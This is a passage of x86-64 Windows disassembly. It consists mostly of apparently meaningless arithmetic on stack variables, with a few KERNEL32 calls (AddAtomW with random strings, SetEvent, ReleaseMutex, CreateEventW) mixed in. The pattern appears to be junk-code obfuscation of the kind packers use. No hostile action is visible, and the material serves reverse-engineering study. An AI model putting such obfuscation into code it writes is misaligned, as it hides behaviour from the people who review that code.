lea rax, [0x14018c018]
mov qword [rsp + 0x77e0], rax
mov rax, qword [rsp + 0x5aa8]
movzx ecx, al
mov rax, qword [rsp + 0x2fc8]
sar rax, cl
mov rcx, qword [rsp + 0x6358]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x7370]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x784], ax
mov rax, qword [rsp + 0x6758]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x41a8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a20]
mov byte [rcx], al
mov rax, qword [rsp + 0x6cf0]
mov qword [rsp + 0x77e8], rax
mov rax, qword [rsp + 0x5478]
mov ecx, dword [rsp + 0x212c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2174], eax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e4]
shl eax, cl
mov rcx, qword [rsp + 0x4890]
mov byte [rcx], al
lea rax, [rsp + 0x21a4]
mov qword [rsp + 0x77f0], rax
movsx eax, word [rsp + 0xd04]
mov rcx, qword [rsp + 0x4828]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14018c240]
mov word [rcx], ax
mov rax, qword [rsp + 0x6298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd94]
xor eax, ecx
mov rcx, qword [rsp + 0x3e38]
mov word [rcx], ax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x77f8], rax
mov rax, qword [rsp + 0x6b38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2bc8]
sar rax, cl
mov qword [rsp + 0x51e8], rax
movsx eax, byte [rsp + 0x16c]
movsx ecx, byte [rsp + 0x204]
add eax, ecx
mov rcx, qword [rsp + 0x4bd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b50], eax
mov rax, qword [rsp + 0x5ff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5b68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6f28]
mov qword [rcx], rax
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x7800], rax
mov rax, qword [rsp + 0x5d88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf00]
add eax, ecx
mov rcx, qword [rsp + 0x59b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4178]
mov rax, qword [rax]
mov rcx, qword [0x14018ad58]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c1c0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x6ba8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe34], ax
lea rax, [rsp + 0x3200]
mov qword [rsp + 0x7808], rax
mov rax, qword [rsp + 0x46a8]
mov rcx, qword [rsp + 0x2ec0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5798], rax
lea rax, [rsp + 0x38a0]
mov qword [rsp + 0x7810], rax
mov rax, qword [rsp + 0x6998]
mov rcx, qword [0x14018c188]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x20d8], eax
mov eax, dword [rsp + 0x2070]
mov rcx, qword [rsp + 0x6b78]
mov qword [rsp + 0x7818], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7818]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4410]
mov dword [rcx], eax
lea rax, [rsp + 0x1eb]
mov qword [rsp + 0x7820], rax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0x6718]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x40e8]
mov byte [rcx], al
lea rax, [rsp + 0xdb0]
mov qword [0x14018c6d8], rax
lea rax, [rsp + 0x3ac]
mov qword [rsp + 0x7828], rax
mov rax, qword [rsp + 0x7218]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbfc]
or eax, ecx
mov rcx, qword [rsp + 0x6228]
mov word [rcx], ax
lea rax, [0x14018ade8]
mov qword [rsp + 0x7830], rax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76a0]
mov dword [rcx], eax
mov rax, qword [0x14018ad18]
movzx ecx, al
mov rax, qword [rsp + 0x46e8]
shr rax, cl
mov qword [rsp + 0x65c8], rax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x208], al
mov rax, qword [rsp + 0x7600]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x81c]
add eax, ecx
mov rcx, qword [rsp + 0x4618]
mov word [rcx], ax
movzx eax, word [rsp + 0x8f4]
mov word [rsp + 0xf28], ax
lea rax, [rsp + 0x36e0]
mov qword [0x14018c6e0], rax
mov rax, qword [rsp + 0x3428]
mov rcx, qword [rsp + 0x5bf8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e28]
mov rcx, qword [rsp + 0x3de8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4df0]
mov qword [rcx], rax
lea rax, [0x14018adf0]
mov qword [rsp + 0x7838], rax
mov rax, qword [rsp + 0x4280]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x71c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe30], ax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x7840], rax
mov rax, qword [rsp + 0x5408]
mov ecx, dword [rsp + 0x2220]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d68]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68c8]
mov qword [rcx], rax
lea rax, [rsp + 0x1d9]
mov qword [rsp + 0x7848], rax
mov rax, qword [rsp + 0x5970]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3e30]
mov qword [rsp + 0x7850], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7850]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x14018c2f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6820]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3f00]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4158]
mov word [rcx], ax
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x7858], rax
movzx eax, word [0x14018c19c]
movzx ecx, word [rsp + 0xd98]
or eax, ecx
mov word [rsp + 0x544], ax
mov rax, qword [rsp + 0x6838]
mov rcx, qword [rsp + 0x2fc0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3150], rax
lea rcx, str.F5CqC1v_Xc8rST9
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf2c], ax
movsx eax, byte [rsp + 0x95]
mov rcx, qword [0x14018bf10]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0x6b88]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ff8]
mov dword [rcx], eax
lea rax, [rsp + 0x6740]
mov qword [rsp + 0x7860], rax
mov rax, qword [rsp + 0x48b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdd4]
sar eax, cl
mov word [rsp + 0x4d0], ax
mov rax, qword [rsp + 0x4a08]
movzx eax, word [rax]
mov word [0x14018c6e8], ax
lea rax, [rsp + 0x5fd0]
mov qword [rsp + 0x7868], rax
mov rax, qword [rsp + 0x7578]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x660]
sub eax, ecx
mov word [rsp + 0xee4], ax
mov rcx, qword [rsp + 0x6680]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21f8], eax
mov rax, qword [rsp + 0x56e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ae]
add eax, ecx
mov byte [rsp + 0xe7], al
lea rax, [rsp + 0x1b90]
mov qword [rsp + 0x7870], rax
mov rax, qword [rsp + 0x41e0]
mov rcx, qword [0x14018ada0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x57d8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1de]
mov byte [rsp + 0x209], al
mov eax, dword [rsp + 0x1e48]
mov ecx, dword [rsp + 0x21bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6088]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7858]
movsx eax, word [rax]
movsx ecx, word [0x14018be7c]
and eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
mov rax, qword [rsp + 0x6408]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6fc0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018c5f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x38d8]
mov rcx, qword [rsp + 0x6260]
mov qword [rsp + 0x7878], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7878]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2ba0], rax
mov rax, qword [rsp + 0x6448]
mov rcx, qword [rsp + 0x7030]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b50], rax
lea rax, [rsp + 0xc90]
mov qword [rsp + 0x7880], rax
mov rax, qword [rsp + 0x4ed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
shl eax, cl
mov rcx, qword [rsp + 0x4668]
mov word [rcx], ax
movsx eax, byte [0x14018bdca]
mov rcx, qword [rsp + 0x5b38]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6398]
mov byte [rcx], al
lea rax, [rsp + 0x4c60]
mov qword [rsp + 0x7888], rax
mov eax, dword [rsp + 0x1d38]
mov ecx, dword [rsp + 0x21d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2050], eax
lea rax, [rsp + 0x6a80]
mov qword [rsp + 0x7890], rax
mov rax, qword [rsp + 0x5738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x64d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14018ae08], ax
mov rax, qword [rsp + 0x62b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7020]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7750]
mov word [rcx], ax
lea rax, [rsp + 0x20e0]
mov qword [rsp + 0x7898], rax
mov rax, qword [rsp + 0x52a8]
movzx eax, byte [rax]
cdq
mov ecx, 0x92
idiv ecx
mov byte [rsp + 0x1b4], al
mov rax, qword [0x14018c6c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49a0]
mov qword [rsp + 0x78a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x78a0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5ae8]
mov qword [rcx], rax
lea rax, [rsp + 0x1e2]
mov qword [rsp + 0x78a8], rax
mov rax, qword [rsp + 0x5cf0]
mov ecx, dword [rsp + 0x21f4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4368]
mov dword [rcx], eax
lea rax, [rsp + 0x3670]
mov qword [rsp + 0x78b0], rax
mov rax, qword [rsp + 0x68d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3f00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xed4], ax
mov rax, qword [rsp + 0x6650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c]
sub eax, ecx
mov word [0x14018adb8], ax
mov rax, qword [0x14018c2a8]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x67e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x55d8]
movzx eax, word [rax]
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0x4250]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e40]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5738]
mov word [rcx], ax
lea rax, [0x14018c108]
mov qword [rsp + 0x78b8], rax
movsx eax, byte [rsp + 0x1c1]
mov rcx, qword [rsp + 0x6380]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a2], al
mov rax, qword [rsp + 0x5be0]
mov rcx, qword [rsp + 0x3fa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x76a0]
mov dword [rcx], eax
lea rax, [0x14018be10]
mov qword [rsp + 0x78c0], rax
movzx eax, word [rsp + 0xad4]
movzx ecx, word [rsp + 0xe78]
shl eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
lea rax, [rsp + 0x5058]
mov qword [0x14018c6f0], rax
lea rax, [rsp + 0x1c6]
mov qword [rsp + 0x78c8], rax
mov eax, dword [rsp + 0x1c2c]
mov ecx, dword [rsp + 0x1f04]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc90]
sar eax, cl
mov word [rsp + 0x650], ax
mov rax, qword [rsp + 0x5bd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4470]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd98], ax
mov rax, qword [rsp + 0x3b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x64c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x72c8]
mov qword [rcx], rax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x78d0], rax
mov rax, qword [rsp + 0x5b98]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ff8]
mov dword [rcx], eax
lea rax, [rsp + 0xd0c]
mov qword [rsp + 0x78d8], rax
mov rax, qword [rsp + 0x7540]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5458]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14018c2dc], ax
mov rax, qword [rsp + 0x5798]
mov rcx, qword [0x14018c1a8]
mov qword [rsp + 0x78e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x78e0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5728], rax
mov rax, qword [rsp + 0x52c0]
mov rcx, qword [rsp + 0x2d20]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5e38]
mov qword [rcx], rax
lea rax, [rsp + 0x2f10]
mov qword [rsp + 0x78e8], rax
movsx eax, word [0x14018c074]
movsx ecx, word [rsp + 0x4f8]
sub eax, ecx
mov word [rsp + 0xcec], ax
lea rax, [rsp + 0x1de]
mov qword [rsp + 0x78f0], rax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x2010]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6958]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a40]
mov rcx, qword [rsp + 0x3d08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x30c0], rax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x78f8], rax
mov rax, qword [rsp + 0x4af0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2108]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e50], eax
movsx eax, word [rsp + 0xda0]
movsx ecx, word [rsp + 0xd3c]
shl eax, cl
mov rcx, qword [0x14018c3f8]
mov word [rcx], ax
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x7900], rax
movzx eax, word [rsp + 0xdd0]
mov rcx, qword [0x14018be60]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5bf8]
mov rcx, qword [rsp + 0x4cc8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x47b0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x12e]
mov byte [rsp + 0x20a], al
mov rax, qword [rsp + 0x5748]
mov ecx, dword [0x14018bdc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x21c8], eax
mov rax, qword [rsp + 0x4258]
mov qword [rsp + 0x7908], rax
movsx eax, word [rsp + 0xe88]
movsx ecx, word [rsp + 0xb48]
and eax, ecx
mov word [rsp + 0x8f8], ax
lea rax, [rsp + 0xb78]
mov qword [rsp + 0x7910], rax
lea rax, [rsp + 0x34f8]
mov qword [0x14018c6f8], rax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa9c]
sub eax, ecx
mov rcx, qword [rsp + 0x6228]
mov word [rcx], ax
mov rax, qword [0x14018c300]
mov rcx, qword [rsp + 0x6d90]
mov qword [rsp + 0x7918], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7918]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3900], rax
lea rax, [rsp + 0x34a0]
mov qword [rsp + 0x7920], rax
mov rax, qword [rsp + 0x6d80]
mov rcx, qword [rsp + 0x4a98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3f88]
mov qword [rcx], rax
lea rax, [rsp + 0x13b]
mov qword [rsp + 0x7928], rax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0x154]
and eax, ecx
mov rcx, qword [rsp + 0x6360]
mov byte [rcx], al
mov rax, qword [rsp + 0x68d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x215c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5cf0]
mov rcx, qword [rsp + 0x5478]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1b5c], eax
movsx eax, word [rsp + 0xb58]
mov rcx, qword [rsp + 0x4248]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14018c074], ax
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x58a8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4b38]
mov word [rcx], ax
lea rax, [rsp + 0x3a4]
mov qword [rsp + 0x7930], rax
movzx eax, word [rsp + 0x91c]
movzx ecx, word [rsp + 0x864]
sar eax, cl
mov word [rsp + 0x83c], ax
mov rax, qword [rsp + 0x6df8]
mov rcx, qword [rsp + 0x7598]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5be0]
mov dword [rcx], eax
lea rax, [rsp + 0x68e8]
mov qword [rsp + 0x7938], rax
movsx eax, byte [rsp + 0x1f0]
movsx ecx, byte [rsp + 0xed]
add eax, ecx
mov byte [rsp + 0x207], al
lea rax, [rsp + 0xc5c]
mov qword [rsp + 0x7940], rax
movzx eax, word [0x14018c298]
mov rcx, qword [rsp + 0x4788]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ab8]
mov word [rcx], ax
lea rax, [rsp + 0x3228]
mov qword [0x14018c700], rax
mov rax, qword [rsp + 0x3850]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4bb0]
mov qword [rcx], rax
lea rax, [rsp + 0x2b50]
mov qword [rsp + 0x7948], rax
mov rax, qword [rsp + 0x6150]
mov rcx, qword [rsp + 0x6bb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7128]
mov qword [rcx], rax
lea rax, [rsp + 0xd34]
mov qword [rsp + 0x7950], rax
mov rax, qword [rsp + 0x5af8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x185]
sar eax, cl
mov rcx, qword [rsp + 0x4678]
mov byte [rcx], al
mov rax, qword [rsp + 0x50d8]
mov eax, dword [rax]
mov dword [rsp + 0x2234], eax
mov eax, dword [rsp + 0x20a4]
mov ecx, dword [rsp + 0x2068]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2188], eax
mov rax, qword [0x14018c448]
mov rcx, qword [rsp + 0x6ab8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5158], rax
mov rax, qword [rsp + 0x4d20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5530]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14018bdca], al
lea rax, [rsp + 0x548]
mov qword [rsp + 0x7958], rax
mov rax, qword [rsp + 0x5f40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd74]
xor eax, ecx
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
lea rax, [rsp + 0x92c]
mov qword [rsp + 0x7960], rax
mov rax, qword [rsp + 0x6188]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x33c8]
shl rax, cl
mov rcx, qword [rsp + 0x4f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f40]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3dc8]
mov dword [rcx], eax
lea rax, [rsp + 0x1f4]
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x4950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5740]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3930], rax
lea rax, [0x14018c520]
mov qword [rsp + 0x7970], rax
mov rax, qword [rsp + 0x5258]
movzx eax, word [rax]
mov word [0x14018c708], ax
mov rax, qword [rsp + 0x2df8]
mov rcx, qword [rsp + 0x5ff0]
mov qword [rsp + 0x7978], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7978]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5f88]
mov qword [rcx], rax
movzx eax, word [rsp + 0x4fc]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57e0]
mov word [rcx], ax
lea rcx, str.GxpO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xee8], ax
lea rax, [rsp + 0x2064]
mov qword [rsp + 0x7980], rax
mov rax, qword [rsp + 0x3f90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ed]
and eax, ecx
mov rcx, qword [rsp + 0x43a0]
mov byte [rcx], al
lea rax, [rsp + 0x20a0]
mov qword [rsp + 0x7988], rax
mov rax, qword [rsp + 0x5940]
mov rcx, qword [rsp + 0x37b0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4258], rax
lea rax, [rsp + 0x10c]
mov qword [rsp + 0x7990], rax
movsx eax, word [rsp + 0xdac]
movsx ecx, word [rsp + 0xc7c]
sub eax, ecx
mov rcx, qword [rsp + 0x5278]
mov word [rcx], ax
movzx eax, word [rsp + 0xbb0]
movzx ecx, word [rsp + 0xeec]
add eax, ecx
mov word [0x14018c6a0], ax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x6b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3368], rax
lea rax, [rsp + 0x4f28]
mov qword [rsp + 0x7998], rax
movsx eax, word [rsp + 0xcac]
movsx ecx, word [rsp + 0x768]
sar eax, cl
mov rcx, qword [rsp + 0x5a78]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d18]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb94], ax
mov rax, qword [rsp + 0x5938]
mov rcx, qword [rsp + 0x3f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1cd]
movsx ecx, byte [rsp + 0x1b1]
shl eax, cl
mov rcx, qword [rsp + 0x43b8]
mov byte [rcx], al
mov rax, qword [0x14018c368]
mov rax, qword [rax]
mov qword [rsp + 0x79a0], rax
mov rax, qword [rsp + 0x5f58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5728]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5228]
mov qword [rcx], rax
lea rax, [rsp + 0x69c]
mov qword [0x14018c710], rax
movzx eax, word [rsp + 0xf1c]
mov word [rsp + 0xf34], ax
mov rax, qword [rsp + 0x6ff0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11b]
add eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x5cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2210]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5210]
mov dword [rcx], eax
mov rax, qword [0x14018c6a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x75d0]
sar rax, cl
mov qword [rsp + 0x3520], rax
mov rax, qword [rsp + 0x5dc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e2]
sub eax, ecx
mov rcx, qword [rsp + 0x6878]
mov byte [rcx], al
lea rax, [rsp + 0x3360]
mov qword [rsp + 0x79a8], rax
mov rax, qword [0x14018c188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5f60]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x58a0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x7068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
and eax, ecx
mov rcx, qword [rsp + 0x7550]
mov word [rcx], ax
lea rax, [rsp + 0xf1c]
mov qword [0x14018c718], rax
lea rax, [0x14018ace8]
mov qword [rsp + 0x79b0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x79b8], rax
movzx eax, word [rsp + 0x5ec]
mov rcx, qword [rsp + 0x4588]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x77f8]
mov word [rcx], ax
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x54a0]
movzx ecx, al
mov rax, qword [rsp + 0x40b0]
sar rax, cl
mov qword [rsp + 0x2df8], rax
mov eax, dword [rsp + 0x1cdc]
mov dword [rsp + 0x2238], eax
movsx eax, byte [rsp + 0x209]
mov rcx, qword [rsp + 0x6a20]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [0x14018be48]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7860]
mov qword [rcx], rax
lea rax, [rsp + 0xd10]
mov qword [rsp + 0x79c8], rax
mov rax, qword [rsp + 0x4e78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3150]
shl rax, cl
mov rcx, qword [0x14018c4a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f68]
mov ecx, dword [rsp + 0x1b90]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5180]
mov dword [rcx], eax
lea rax, [rsp + 0x154]
mov qword [rsp + 0x79d0], rax
mov rax, qword [rsp + 0x6f30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6988]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5e40]
mov word [rcx], ax
movzx eax, word [0x14018bee8]
mov rcx, qword [rsp + 0x4978]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8e4], ax
lea rax, [rsp + 0x1f9]
mov qword [rsp + 0x79d8], rax
mov eax, dword [rsp + 0x20b0]
movzx ecx, al
mov eax, dword [rsp + 0x2208]
shr eax, cl
mov dword [rsp + 0x1ff4], eax
mov rax, qword [rsp + 0x4c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6db0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2bb0], rax
movsx eax, word [rsp + 0xca8]
mov rcx, qword [rsp + 0x6dd0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov word [rcx], ax
mov rax, qword [rsp + 0x49a8]
movzx eax, word [rax]
movzx ecx, word [0x14018c6e8]
and eax, ecx
mov word [0x14018ad00], ax
mov rcx, qword [rsp + 0x4800]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x4878]
mov rcx, qword [rsp + 0x6eb8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5be8]
mov qword [rcx], rax
lea rax, [rsp + 0x3618]
mov qword [rsp + 0x79e0], rax
mov rax, qword [rsp + 0x7430]
mov rcx, qword [rsp + 0x37e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6590]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4400]
movzx eax, word [rax]
mov word [rsp + 0xf38], ax
mov rax, qword [rsp + 0x5138]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x70a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6cf0], rax
lea rax, [rsp + 0x1dd]
mov qword [rsp + 0x79e8], rax
mov eax, dword [rsp + 0x2084]
